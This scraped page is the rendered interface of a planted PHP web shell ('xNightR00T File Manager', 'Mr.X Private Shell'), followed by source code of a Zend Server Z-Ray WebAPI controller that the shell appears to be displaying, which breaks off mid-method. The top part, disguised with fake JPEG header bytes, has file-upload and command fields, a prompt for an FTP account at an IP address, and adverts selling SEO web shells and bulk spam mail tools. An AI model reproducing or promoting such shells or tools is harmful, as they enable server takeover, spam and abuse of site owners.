xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace DevBar\Controller;

use ZendServer\Mvc\Controller\WebAPIActionController,
    WebAPI,
    ZendServer\Set,
    ZendServer\Configuration\Manager,
    Application\Db\Connector,
    Application\Db\DirectivesFileConnector,
    Zend\Db\Sql\Predicate\Predicate,
    DevBar\Db\RequestsMapper;
use ZendServer\Log\Log;
use Zend\View\Model\ViewModel;
use WebAPI\Exception;
use Audit\Db\Mapper;
use Audit\Db\ProgressMapper;
use DevBar\Db\TokenMapper;
use DevBar\Db\AccessTokensMapper;
use Application\Module;
use Zend\Crypt\Hash;

class WebAPIController extends WebAPIActionController
{
    const DEFAULT_REQUESTS_LIMIT              = 10;
    const MAX_REQUESTS_LIMIT                  = 500;
    // when there is a lot of data, and the limit is high, an `out-of-memory` error
    // can occure. Thus, we split the reading process into iterations and check memory
    // after each iteration
    const MAX_REQUESTS_PER_ITERATION          = 5;
    const MAX_ACCEPTABLE_MEMORY_USAGE_PERCENT = 40;

    public function devBarListAccessTokensAction()
    {
        $this->isMethodGet();
        $params = $this->getParameters(array('page' => 0, 'order' => TokenMapper::TOKEN_FIELD_ID, 'direction' => 'DESC',
            'limit' => TokenMapper::TOKEN_LIMIT_DEFAULT));

        $page               = $this->validateInteger($params['page'], 'page');
        $direction          = $this->validateDirection($params['direction'], 'direction');
        $limit              = $this->validateInteger($params['limit'], 'limit');
        $order              = $this->validateAllowedValues($params['order'], 'order',
            array(AccessTokensMapper::TOKEN_FIELD_ID, AccessTokensMapper::TOKEN_FIELD_NAME, AccessTokensMapper::TOKEN_FIELD_TOKEN,
            AccessTokensMapper::TOKEN_FIELD_TTL));
        $accessTokensMapper = $this->getServiceLocator()->get('DevBar\Db\AccessTokensMapper');
        $tokens             = $accessTokensMapper->findTokens($page - 1, $limit, $order, $direction);
        $totalCount         = $accessTokensMapper->count();
        return array('tokens' => $tokens, 'totalCount' => $totalCount);
    }

    public function zrayCreateSelectiveAccessAction()
    {
        return $this->zrayCreateAccessTokenAction();
    }

    /**
     * Generate a random access token for use in the Z-Ray Secured Access
     * mode.
     * 
     * @api
     * @method POST
     * @version 1.8
     * @section Z-Ray
     * @name zrayCreateAccessToken
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_zraycreateaccesstoken_method.htm
     * @permissions Full
     * @editions Zend Server
     * @param String iprange Required. IP Range allowed access to Z-Ray with this token. The iprange can be
     * 	any IP address or CIDR range.
     * @param String baseUrl Optional. Limit access with Z-Ray to a specific base URL. Z-Ray and its
     * 	activities will only be active on this specific base URL and any
     * 	sub-paths. If no baseUrl is specified, this token will not be limited
     * 	to a specific baseUrl.
     * @param Integer ttl Optional. Limit this tokens access to expire after the given time in seconds is
     * 	passed.
     * @param Boolean inject Optional. If this is set (True), Z-Ray toolbar will be "injected" and delivered
     * 	with the web page output.
     * @param String title Optional. Title, name or description of the access token. This field is not
     * 	used for anything but display.
     * @response {
            "tokenId": "1",
            "hash": "5b300ba94ec82fe152d796bbd4f55c8b6f7041fedf59225a839c81f959942f0a",
            "iprange": "127.0.0.1",
            "baseUrl": "",
            "ttl": "1517309834",
            "title": "greg1",
            "actions": "0",
            "inject": "0"
        }
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function zrayCreateAccessTokenAction()
    {
        $this->isMethodPost();
        $params = $this->getParameters(array('baseUrl' => '', 'ttl' => 60 * 60 * 24, 'title' => '', 'token' => 'TRUE', 'actions' => 'FALSE',
            'inject' => 'FALSE'));
        $this->validateMandatoryParameters($params, array('iprange'));

        $ttl   = $this->validateInteger($params['ttl'], 'ttl');
        $title = $this->validateString($params['title'], 'title');

        if ($params['baseUrl']) {
            $baseUrl = $this->validateUri($params['baseUrl'], 'baseUrl');
        } else {
            $baseUrl = '';
        }

        $token   = $this->validateBoolean($params['token'], 'token');
        $actions = $this->validateBoolean($params['actions'], 'actions');
        $inject  = $this->validateBoolean($params['inject'], 'inject');

        if ($token) {
            $token = Hash::compute('sha256', mt_rand(0, mt_getrandmax()));
        } else {
            $token = '';
        }

        $iprange        = $params['iprange'];
        $trimmedIpRange = array();
        foreach (explode(',', $iprange) as $range) {
            $this->validateIpOrRange(trim($range));
            $trimmedIpRange[] = trim($range);
        }

        $trimmedIpRange = implode(',', $trimmedIpRange);

        if (!isAzureEnv() && !isZrayStandaloneEnv()) {
            $auditMessage = $this->auditMessage(Mapper::AUDIT_DEVELOPER_TOKEN_ADD,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array(array('title' => $title, 'Base Url' => $baseUrl, 'time to live' => $ttl, 'ip range' => $trimmedIpRange)));
        }

        /* @var DevBar\Db\AccessTokensMapper */
        $accessTokensMapper = $this->getServiceLocator()->get('DevBar\Db\AccessTokensMapper');
        $token              = $accessTokensMapper->createToken($trimmedIpRange, $baseUrl, $ttl, $title, $token,
            $actions, $inject);
        if (!isAzureEnv() && !isZrayStandaloneEnv()) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);
        }

        // check if the token was created for Z-Ray standalone also.
        // if "$token" is a string, it's the error message from the function
        if (isZrayStandaloneEnv() && is_string($token)) {
            throw new WebAPI\Exception(_t($token), WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }
        return array('token' => $token);
    }

    /**
     * Expires a passed access token.
     * 
     * @api
     * @method POST
     * @version 1.8
     * @section Z-Ray
     * @name zrayExpireAccessToken
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_zrayexpireaccesstoken_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @param Integer tokenId Required. The identifier for the token to be expired. Note that this is a
     * 	number representing the token, not the token itself.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function zrayExpireAccessTokenAction()
    {
        $this->isMethodPost();
        $params  = $this->getParameters();
        $this->validateMandatoryParameters($params, array('tokenId'));
        $tokenId = $this->validateInteger($params['tokenId'], 'tokenId');

        $accessTokensMapper = $this->getServiceLocator()->get('DevBar\Db\AccessTokensMapper');

        if (!isAzureEnv()) {
            $auditMessage = $this->auditMessage(Mapper::AUDIT_DEVELOPER_TOKEN_EXPIRE,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED, array(array('tokenId' => $tokenId)));
        }

        $targetToken = $accessTokensMapper->findTokenById($tokenId);
        $manager     = new Manager();
        $osType      = $manager->getOsType();

        if ($targetToken->getId()) {

            if ($osType != Manager::OS_TYPE_IBMI) {
                $time = $this->detectDBTime();
            } else {
                $time = time();
            }

            $token       = $accessTokensMapper->expireToken($tokenId, $time);
            $targetToken = $accessTokensMapper->findTokenById($targetToken->getId());
        } else {
            if (!isAzureEnv()) {
                $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED);
            }
            throw new Exception(_t('Access token not found'), Exception::NO_SUCH_ACCESS_TOKEN);
        }
        if (!isAzureEnv()) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);
        }
        if (isZrayStandaloneEnv() && is_string($token)) {
            throw new WebAPI\Exception(_t($token), WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $viewModel = new ViewModel(array('token' => $targetToken));
        $viewModel->setTemplate('dev-bar/web-api/zray-create-access-token');
        return $viewModel;
    }

    /**
     * Removes the zray records by passed filter (name or filter fields).
     *
     * @api
     * @method POST
     * @section Z-Ray
     * @param array filters - default array()
     * @param string filterId - default ''
     * @response "responseData": {
      "success": true
      }
     */
    public function zrayDeleteByPredefinedFilterAction()
    {
        try {

            $this->isMethodPost();
            $params = $this->getParameters(array('filters' => array(), 'filterId' => ''));

            $filterData = $this->validateArray($params['filters'], 'filters');
            $filterName = $this->validateString($params['filterId'], 'filterId');

            if (!empty($filterData)) {
                foreach (array_keys($filterData) as $filterKey) {
                    $this->validateAllowedValues($filterKey, "filter[{$filterKey}]",
                        array('severity', 'response', 'method', 'from', 'to', 'freeText'));
                }
            }

            $filters = $filterData;
            if ($filterName && strtolower($filterName) != 'dummy') {
                $filters = $this->getFilterObj($filterName);
            }

            $audit = $this->auditMessage(Mapper::AUDIT_ZRAY_DELETE, ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array($params));
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_STARTED);

            $zrayIds = $this->getDevBarRequestsMapper()->getZrayIdsByFilter($filters);
            $ids     = array();
            foreach ($zrayIds as $data) {
                $ids[] = $data['id'];
            }

            $this->removeDevBarRequestsAndDataByIds($ids);

            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY,
                array('Count' => count($zrayIds)));
        } catch (ZendServer\Exception $e) {
            $this->handleException($e, 'Input validation failed');
        }

        return array('success' => true);
    }

    public function zrayDeleteByIdsAction()
    {
        try {
            $this->isMethodPost();
            $params = $this->getParameters();
            $this->validateMandatoryParameters($params, array('ids'));

            $messageParams = array(array('ids' => $params['ids']));
            $audit         = $this->auditMessage(Mapper::AUDIT_ZRAY_DELETE, ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                $messageParams); /* @var $audit \Audit\Container */

            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_STARTED, $messageParams);
            $this->validateArray($params['ids'], 'ids');
            foreach ($params['ids'] as $key => $id) {
                $this->validateInteger($id, "ids[$key]");
            }
        } catch (Exception $e) {
            $this->throwWebApiException($e, 'Input validation failed', WebAPI\Exception::INVALID_PARAMETER);
        }

        try {
            $this->removeDevBarRequestsAndDataByIds($params['ids']);
        } catch (\Exception $e) {
            Log::err(_t('Could not delete zray requests '.implode(', ', $params['ids']).'. Error: '.$e->getMessage()));
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED, $messageParams);
            $this->throwWebApiException($e, 'Failed to delete zray requests', WebAPI\Exception::INVALID_PARAMETER);
        }

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY, $messageParams);

        return array('success' => true);
    }

    /**
     * Remove an access token. Removing a token means that pages loaded with
     * this token will not display Z-Ray. Existing Z-Ray's will still have
     * access to information.
     * 
     * @api
     * @method POST
     * @version 1.8
     * @section Z-Ray
     * @name zrayRemoveAccessToken
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_zrayremoveaccesstoken_method.htm
     * @permissions Full
     * @editions Zend Server
     * @param Integer tokenId Required. The identifier for the token to be removed. Note that this is a
     * 	number representing the token, not the token itself.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function zrayRemoveAccessTokenAction()
    {
        $this->isMethodPost();
        $params  = $this->getParameters();
        $this->validateMandatoryParameters($params, array('tokenId'));
        $tokenId = $this->validateInteger($params['tokenId'], 'tokenId');

        /* @var DevBar\Db\AccessTokensMapper */
        $accessTokensMapper = $this->getServiceLocator()->get('DevBar\Db\AccessTokensMapper');

        if (!isAzureEnv()) {
            $auditMessage = $this->auditMessage(Mapper::AUDIT_DEVELOPER_TOKEN_REMOVE,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED, array(array('tokenId' => $tokenId)));
        }

        $targetToken = $accessTokensMapper->findTokenById($tokenId);
        if ($targetToken->getId()) {
            $token = $accessTokensMapper->deleteToken($tokenId);
        } else {
            if (!isAzureEnv()) {
                $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED);
            }
            throw new Exception(_t('Access token not found'), Exception::NO_SUCH_ACCESS_TOKEN);
        }
        if (!isAzureEnv()) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);
        }
        if (isZrayStandaloneEnv() && is_string($token)) {
            throw new WebAPI\Exception(_t($token), WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $viewModel = new ViewModel(array('token' => $targetToken));
        $viewModel->setTemplate('dev-bar/web-api/zray-create-access-token');
        return $viewModel;
    }

    /**
     * @param $requestsResult
     */
    protected function getRequestsInfo($requestsResult, $hasCustomData = false)
    {

        $requests       = array();
        $requestsIds    = array();
        $sqlQueries     = array();
        $logEntries     = array();
        $monitorEvents  = array();
        $exceptions     = array();
        $functionsCount = array();
        $superglobals   = array();
        $performRetry   = array(); // id => bool
        if ($requestsResult->count() > 0) {
            foreach ($requestsResult as $requestResult) {
                // must be indexes by unique id since later we merge arrays by unique ids !!!
                $requests[$requestResult->getId()]       = $requestResult;
                // perform retry on requests that ended less than 10 seconds ago
                $performRetry[$requestResult->getId()]   = ($requestResult->getStartTime() + $requestResult->getRunTime())
                    > (round(microtime(true) * 1000) - 10000);
                $requestsIds[]                           = (int) $requestResult->getId();
                $sqlQueries[$requestResult->getId()]     = array();
                $logEntries[$requestResult->getId()]     = array();
                $monitorEvents[$requestResult->getId()]  = array();
                $exceptions[$requestResult->getId()]     = array();
                $functionsCount[$requestResult->getId()] = 0;
            }
        }

        $sqlQueriesMapper = $this->getDevBarSqlQueriesMapper();
        $sqlQueriesResult = $sqlQueriesMapper->getQueries($requestsIds);
        foreach ($sqlQueriesResult as $sqlQueryResult) {
            $sqlQueries[$sqlQueryResult->getRequestId()][] = $sqlQueryResult;
        }

        $logEntriesMapper = $this->getLocator()->get('DevBar\Db\LogEntriesMapper');
        $logEntriesResult = $logEntriesMapper->getEntries($requestsIds);
        foreach ($logEntriesResult as $logEntryResult) {
            $logEntries[$logEntryResult->getRequestId()][] = $logEntryResult;
        }

        $exceptionsMapper = $this->getLocator()->get('DevBar\Db\ExceptionsMapper');
        $exceptionsResult = $exceptionsMapper->getExceptions($requestsIds);
        foreach ($exceptionsResult as $exceptionResult) {
            $exceptions[$exceptionResult->getRequestId()][] = $exceptionResult;
        }

        $monitorEvents = array();
        $eventsData    = array();

        if (!isAzureEnv() && !isZrayStandaloneEnv()) {
            // collect monitor events
            $monitorEventsAggKeysResult = $this->getMonitorEventsAggKeys($requestsIds);
            $monitorEventsAggKeys       = array();
            foreach ($monitorEventsAggKeysResult as $aggKey) {
                $monitorEventsAggKeys[$aggKey['request_id']][] = $aggKey['agg_key'];
            }

            $monitorUisMapper = $this->getServiceLocator()->get('MonitorUi\Model\Model');
            $retryLimit       = \Application\Module::config('zray', 'zrayRetryLimit');
            foreach ($monitorEventsAggKeys as $reqId => $aggKeys) {
                /// synchronization between monitor and devbar means that some data may be missing for a while after agg_key was registered
                /// we are forced to poll on the data for a bit to try and retrieve it, hopefully without starving

                $issues = $monitorUisMapper->getIssues(array('aggKeys' => $aggKeys), 0, 0, 'date', 'asc');

                if ($performRetry[$reqId]) {
                    $i = 0;
                    while (0 == $issues->count() && ($i * 100) < $retryLimit) {
                        $i ++;
                        usleep(100000); // sleep for 100 ms
                        $issues = $monitorUisMapper->getIssues(array('aggKeys' => $aggKeys), 0, 0, 'date', 'asc');
                    }
                }

                if (0 < $issues->count()) {
                    $monitorEvents[$reqId][] = $issues;
                } else {
                    // freezed, no need now
                    //Log::notice('Monitor data was missing for request ' . $reqId);
                }
            }

            $eventsMapper = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $eventsMapper \EventsGroup\Db\Mapper */
            $eventsData   = array();
            foreach ($monitorEvents as $key => $monitorEvent) {
                foreach ($monitorEvent as $issuesKey => $issues) {
                    $monitorEvents[$key][$issuesKey] = $this->enhanceIssuesSet($issues);
                    try {
                        if ($monitorEvents[$key][$issuesKey]->count() > 0) {
                            $maxEventGroup                = $monitorEvents[$key][$issuesKey]->current()->getMaxEventGroup();
                            $eventsData[$key][$issuesKey] = $eventsMapper->getEventGroupsData(array($maxEventGroup->getEventsGroupId()));
                        } else {
                            $eventsData[$key][$issuesKey] = $eventsMapper->getEventGroupsData(array());
                        }
                    } catch (\ZendMonitorUIException $ex) {
                        Log::warn("No eventGroups retrieved: {$ex->getMessage()}");
                    }
                }
            }
        }

        $runtimeMapper  = $this->getLocator()->get('DevBar\Db\RuntimeMapper');
        $runtimes       = $runtimeMapper->getRequestsRuntime($requestsIds);
        $runtimeEntries = array();
        foreach ($runtimes as $runtime) {
            $runtimeEntries[$runtime->getRequestId()] = $runtime;
        }

        // load number of functions per request
        $functionsMapper = $this->getLocator()->get('DevBar\Db\FunctionsMapper');
        $functionsList   = $functionsMapper->getFunctions($requestsIds);

        foreach ($functionsList as $reqId => $funcs) {
            $functionsCount[$reqId] = count($funcs);
        }


        // get SuperGlobals
        $sgMapper = $this->getLocator()->get('DevBar\Db\SuperglobalsMapper');

        // for every request get superglobals
        foreach ($requestsIds as $reqId) {
            $isOversized      = false;
            $superglobalsData = $sgMapper->getSuperglobals($reqId);

            // check if the _SESSION has oversized values
            if (!empty($superglobalsData) && isset($superglobalsData['_SESSION'])) {
                foreach ($superglobalsData['_SESSION'] as $sessionItem) {
                    $sessionItemData = $sessionItem->getRawData();
                    $isOversized     = (strpos($sessionItemData, 'SESSION_PAYLOAD_TOO_LARGE') !== false);
                    if ($isOversized) break;
                }
            }

            // set info about the superglobals in this request
            $superglobals[$reqId] = array(
                'oversizedSession' => $isOversized ? 1 : 0,
            );
        }


        return array(
            'requests' => $requests,
            'runtime' => $runtimeEntries,
            'sqlQueries' => $sqlQueries,
            'logEntries' => $logEntries,
            'exceptions' => $exceptions,
            'monitorEvents' => $monitorEvents,
            'eventsData' => $eventsData,
            'functionsCount' => $functionsCount,
            'superglobals' => $superglobals,
            'hasCustomData' => $hasCustomData,
        );
    }

    /**
     *  Get the list of requests according to specific page id. If lastId will be specified only requests that have bigger id will be returned.
     *
     * @api
     * @method GET
     * @section Z-Ray
     * @param integer pageId - default ''
     * @param integer lastId - default ''
     * @param integer startTime - default 0
     * @response "responseData": {
      "RequestsInfo": [
      {
      "RequestInfo": {
      "id": 5705,
      "pageId": "0@1300@1499156186@0",
      "url": "http://127.0.0.1:80/web/callapi.php?method=get&action=logsGetLogfile&response_type=json&version=1.15&host=localhost&user=admin&hash=5db9d5ce25301fd8a3890f3fd6275ffe154e9225164d7793c3845862e4177555&",
      "httpResponse": "200",
      "method": "GET",
      "runTime": 101048,
      "startTime": "2017-07-04T15:29:54+03:00",
      "startTimeTimestamp": 1499171394606,
      "isPrimaryPage": false,
      "memoryPeak": 958816,
      "memoryLimit": 268435456
      }
      }
      ]
      }
     */
    public function devBarGetRequestsInfoAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array('pageId' => '', 'lastId' => '', 'startTime' => 0));

        $this->validateMandatoryParameters($params, array('pageId'));

        $pageId = $this->validateString($params['pageId'], 'pageId');
        $lastId = '';
        if (!empty($params['lastId'])) {
            $lastId = $this->validateInteger($params['lastId'], 'lastId');
        }
        $startTime = '';
        // number of milliseconds since 1970/01/01
        if ($params['startTime']) {
            $startTime = $this->validatePositiveNumber($params['startTime'], 'startTime');
        }

        $requestsResult = $this->getRequests($pageId, $lastId, $startTime);

        $hasCustomData = $this->hasCustomData($requestsResult);

        return $this->getRequestsInfo($requestsResult, $hasCustomData);
    }

    // read memory limit from the server
    public static function getMemoryLimit()
    {
        $memory_limit = ini_get('memory_limit');
        if (preg_match('/^(\d+)(.)$/', $memory_limit, $matches)) {
            if ($matches[2] == 'M') {
                $memory_limit = $matches[1] * 1024 * 1024; // nnnM -> nnn MB
            } else if ($matches[2] == 'K') {
                $memory_limit = $matches[1] * 1024; // nnnK -> nnn KB
            }
        }

        return $memory_limit;
    }

    /**
     * Check when memory percentage is used, out of the allowed PHP memory (e.g. default is 128MB)
     */
    public static function getMemoryUsagePercent()
    {
        return ceil((memory_get_usage() / self::getMemoryLimit()) * 100);
    }

    protected function validateFilters(array $filters = array())
    {

        $availableFilters = array('severity', 'response', 'method', 'from', 'to', 'freeText', 'page_ids');
        foreach ($filters as $key => $value) {
            $this->validateAllowedValues($key, 'filters', $availableFilters);
        }
        return $filters;
    }

    /**
     * Get list of stored Z-Rays. Same as `devBarGetAllRequestsInfoAction`, but much more
     * compact
     * 
     * @api 
     * @method GET
     * @version 1.13
     * @section Z-Ray
     * @param string page_id
     * @param string from_timestamp
     * @param string limit
     * @param string offset
     * @param string order
     * @param string direction
     * @param string filters
     * 
     */
    public function getZraysListAction()
    {
        $this->isMethodGet();

        // get parameters
        $params = $this->getParameters(array(
            // specific pageId
            'page_id' => '',
            // timestamp in seconds
            'from_timestamp' => 0,
            // paging
            'limit' => Module::config('list', 'resultsPerPage'),
            'offset' => 0,
            // order
            'order' => 'id',
            'direction' => 'desc',
            // parameters from the filter
            'filters' => array(),
        ));

        // list of columns to get from the database
        $columns = array(
            'id', 'page_id', 'status_code', 'method',
            'start_time', 'request_time', 'is_primary_page',
            'peak_memory_usage', 'data_size', 'memory_limit',
        );

        // validate parameters
        $this->validateString($params['page_id'], 'page_id');
        $this->validatePositiveInteger($params['from_timestamp'], 'from_timestamp');
        $this->validatePositiveInteger($params['limit'], 'limit');
        $this->validatePositiveInteger($params['offset'], 'offset');
        $this->validateAllowedValues(strtolower($params['order']), 'order', $columns);
        $this->validateAllowedValues(strtolower($params['direction']), 'direction', ['asc', 'desc']);
        // @TODO: validate filters here
        // get DB mapper
        $mapper = $this->getDevBarRequestsMapper();

        // get the records
        $requests   = $mapper->getRequests(
            $_pageId    = $params['page_id'], $_lastId    = '', $_limit     = $params['limit'], $columns,
            $_startTime = $params['from_timestamp'], $_order     = $params['order'], $_direction = $params['direction'],
            $_offset    = $params['offset']
        );

        // get the total number of records
        $totalRequests = $mapper->getRequests(
            $_pageId       = $params['page_id'], $_lastId       = '', $_limit        = 0,
            $_columns      = array(
            'total' => new \Zend\Db\Sql\Expression('count(*)')
            ), $_startTime    = $params['from_timestamp'], $_order        = null
        );

        if ($totalRequests->count() > 0) {
            $totalRequests = intval($totalRequests->current()->toArray()['total']);
        } else {
            $totalRequests = 0;
        }

        $requestsArray = $requests->toArray();

        // for every request, add its severity (normal, warning or critical)
        $this->_updateRequestsSeverity($requests);

        $responseArray = array(
            'requests' => $requestsArray,
            'total' => $totalRequests,
        );

        return new \WebAPI\View\WebApiResponseContainer($responseArray);
    }

    /**
     * Get requests starting from `from_timestamp` (or all the requests)
     * 
     * @api
     * @method GET
     * @version 1.9
     * @section Z-Ray
     * @param number from_timestamp Get z-rays from that timestamp
     * @param number limit Limit the number of results
     * @param number offset Start the list from the specified offset
     * @param string order Order the list by
     * @param string direction Order direction - asc/desc
     * @param array filters Filter the list by the next keys: 'severity', 'response', 'method', 'from', 'to', 'freeText'.
     * @response {
        "totalRequests": 85272,
        "RequestsInfo": [
            {
                "RequestInfo": {
                    "id": 85,
                    "pageId": "0@12434@1532436620@0",
                    "url": "/home/username/Dev/index.phtml",
                    "httpResponse": "0",
                    "method": "CLI",
                    "runTime": 5319,
                    "startTime": "2018-07-24T15:50:20+03:00",
                    "startTimeTimestamp": 1532436620960,
                    "isPrimaryPage": true,
                    "memoryPeak": 1044192,
                    "memoryLimit": 134217728
                },
                "Runtime": {
                    "requestId": 85,
                    "database": 0,
                    "php": 5274,
                    "io": 45,
                    "network": 0
                },
                "SqlQueries": [],
                "LogEntries": [],
                "exceptions": [],
                "MonitorEvents": [],
                "SuperGlobals": {
                    "sessionOversized": 0
                },
                "extraData": {
                    "functionsCount": 1
                },
                "hasCustomData": 0
            }
        ]
       }
     * 
     */
    public function devBarGetAllRequestsInfoAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array(
            'from_timestamp' => 0,
            'limit' => self::DEFAULT_REQUESTS_LIMIT,
            'offset' => 0,
            'order' => null,
            'direction' => null,
            'filters' => array(),
        ));

        $filters = $this->validateFilters($params['filters']);

        $fromTimestamp = preg_match('%^\d+$%', $params['from_timestamp']) ? $params['from_timestamp'] : 0;
        $limit         = $this->validatePositiveInteger($params['limit'], 'limit');

        if ($limit > self::MAX_REQUESTS_LIMIT) {
            throw new WebAPI\Exception(_t('`limit` parameter is above %d',
                array(
                self::MAX_REQUESTS_LIMIT
            )), WebAPI\Exception::INVALID_PARAMETER);
        }
        $offset = $params['offset'] === 0 ? 0 : $this->validatePositiveInteger($params['offset'], 'offset');

        $mapper = $this->getDevBarRequestsMapper();

        // check the order
        $order = $params['order'];
        if (!is_null($order)) {
            $this->validateString($order, 'order');
            $this->validateAllowedValues(strtolower($order), 'order', $mapper->getDevbarRequestColumnNames());
        }

        // check the order direction
        $direction = $params['direction'];
        if (!is_null($direction)) {
            $this->validateAllowedValues(strtolower($direction), 'direction', array('asc', 'desc'));
        }

        // find the translated filters['freeText'] zray token name to token hash and then to search it in a regular way
        if (isset($filters ['freeText']) && !empty($filters['freeText'])) {
            $tokenMapper = $this->getServiceLocator()->get('DevBar\Db\AccessTokensMapper');
            $foundToken = $tokenMapper->findTokenByName($filters['freeText']);
            if ($foundToken && $foundToken->getToken()) {
                $filters['freeText'] = $foundToken->getToken();
            }
        }

        // read the data in chunks
        $resultArray   = array();
        $initialOffset = $offset;
        $iterations    = 0;
        while ($iterations * self::MAX_REQUESTS_PER_ITERATION < $limit) {

            // calculate the new limit
            $newLimit = ($limit - $iterations * self::MAX_REQUESTS_PER_ITERATION) < self::MAX_REQUESTS_PER_ITERATION ?
                ($limit - $iterations * self::MAX_REQUESTS_PER_ITERATION) : self::MAX_REQUESTS_PER_ITERATION;

            // get requests from the database
            $requestsResult = $mapper->getRequestsFromTimestamp($fromTimestamp, $newLimit,
                $initialOffset + $iterations * self::MAX_REQUESTS_PER_ITERATION, $order, $direction, $filters);

            // if no results and this is not the first iteration, exit the loop. no more data
            if ($requestsResult->count() == 0 && $iterations > 0) {
                break;
            }
            // if count of results is less than limit, exit the loop. no more data
            if ($requestsResult->count() > 0 && $requestsResult->count() < $newLimit) {

                // add the new records to the result
                $newResultArray = $this->getRequestsInfo($requestsResult);
                foreach ($newResultArray as $key => $value) {
                    if (isset($resultArray[$key])) {
                        $resultArray[$key] = $resultArray[$key] + $newResultArray[$key];
                    } else {
                        $resultArray[$key] = $newResultArray[$key];
                    }
                }
                break;
            }
            
            // retry if requests were not found
            $retryLimit = \Application\Module::config('zray', 'zrayRetryLimit');
            $i          = 0;
            while ($requestsResult->count() == 0 && ($i * 100) < $retryLimit) {
                $i ++;
                usleep(100000); // sleep for 100 ms
                $requestsResult = $mapper->getRequestsFromTimestamp($fromTimestamp, $newLimit,
                    $initialOffset + $iterations * self::MAX_REQUESTS_PER_ITERATION, $order, $direction, $filters);
            }

            // add the new records to the result
            $newResultArray = $this->getRequestsInfo($requestsResult);
            foreach ($newResultArray as $key => $value) {
                if (isset($resultArray[$key])) {
                    $resultArray[$key] = $resultArray[$key] + $newResultArray[$key];
                } else {
                    $resultArray[$key] = $newResultArray[$key];
                }
            }
            $iterations++;

            // if no more requests, exit the loop
            if ($newLimit < self::MAX_REQUESTS_PER_ITERATION) {
                break;
            }

            // check if there's enough memory, if no, return what collected until now
            if (self::getMemoryUsagePercent() > self::MAX_ACCEPTABLE_MEMORY_USAGE_PERCENT - 20) {
                Log::notice('devBarGetAllRequestsInfoAction: high memory usage: '.self::getMemoryUsagePercent().'% (iteration '.($iterations
                    - 1).')');
            }
            if (self::getMemoryUsagePercent() > self::MAX_ACCEPTABLE_MEMORY_USAGE_PERCENT) {
                Log::notice('devBarGetAllRequestsInfoAction: reached limit of '.self::MAX_ACCEPTABLE_MEMORY_USAGE_PERCENT.'%');
                break;
            }
        }

        // get the total number of requests
        $totalRequests = $mapper->getRequestsCountFromTimestamp(
            $fromTimestamp, $__limit       = 0, $__offset      = 0, $__order       = NULL, $__direction   = NULL,
            $filters
        );

        $resultArray['totalRequests'] = $totalRequests;

        foreach($resultArray['requests'] as &$request){
            $hash = null;
            $url = $request->getUrl();
            $parts = parse_url($url);
            $query = '';
            $hash = '';
            
            
            if (isset($parts['query'])) {
               parse_str($parts['query'], $query);
            }
            
            if (isset($query['zsdbt'])) {
                $hash = $query['zsdbt'];
            } else {
                $mapper          = $this->getServiceLocator()->get('DevBar\Db\SuperglobalsMapper');
                $superglobalsMap = $mapper->getSuperglobals($request->getId());

                $superglobals = array();
                if (count($superglobalsMap) > 0) {
                    foreach ($superglobalsMap as $type => $typeGroup) { /* @var $typeGroup array[\DevBar\SuperGlobalContainer] */
                        $typeLabel = str_replace('_', '', strtolower($type));
                        foreach ($typeGroup as $superglobalRevision) { /* @var $superglobalRevision \DevBar\SuperGlobalContainer */
                            $data = $superglobalRevision->getData();
                            if($typeLabel == 'cookie' && isset($data['zsdbt'])){
                                $hash = $data['zsdbt'];
                                break;
                            }
                        }
                    }
                }
            }

            if ($hash) {
                $tokenMapper = $this->getServiceLocator()->get('DevBar\Db\AccessTokensMapper');
                $foundToken = $tokenMapper->findTokenByHash($hash);
                if (isset($foundToken) && $foundToken instanceof \DevBar\AccessTokenContainer) {
                   $request->setAccessToken($foundToken);
                }
            }
        }

        
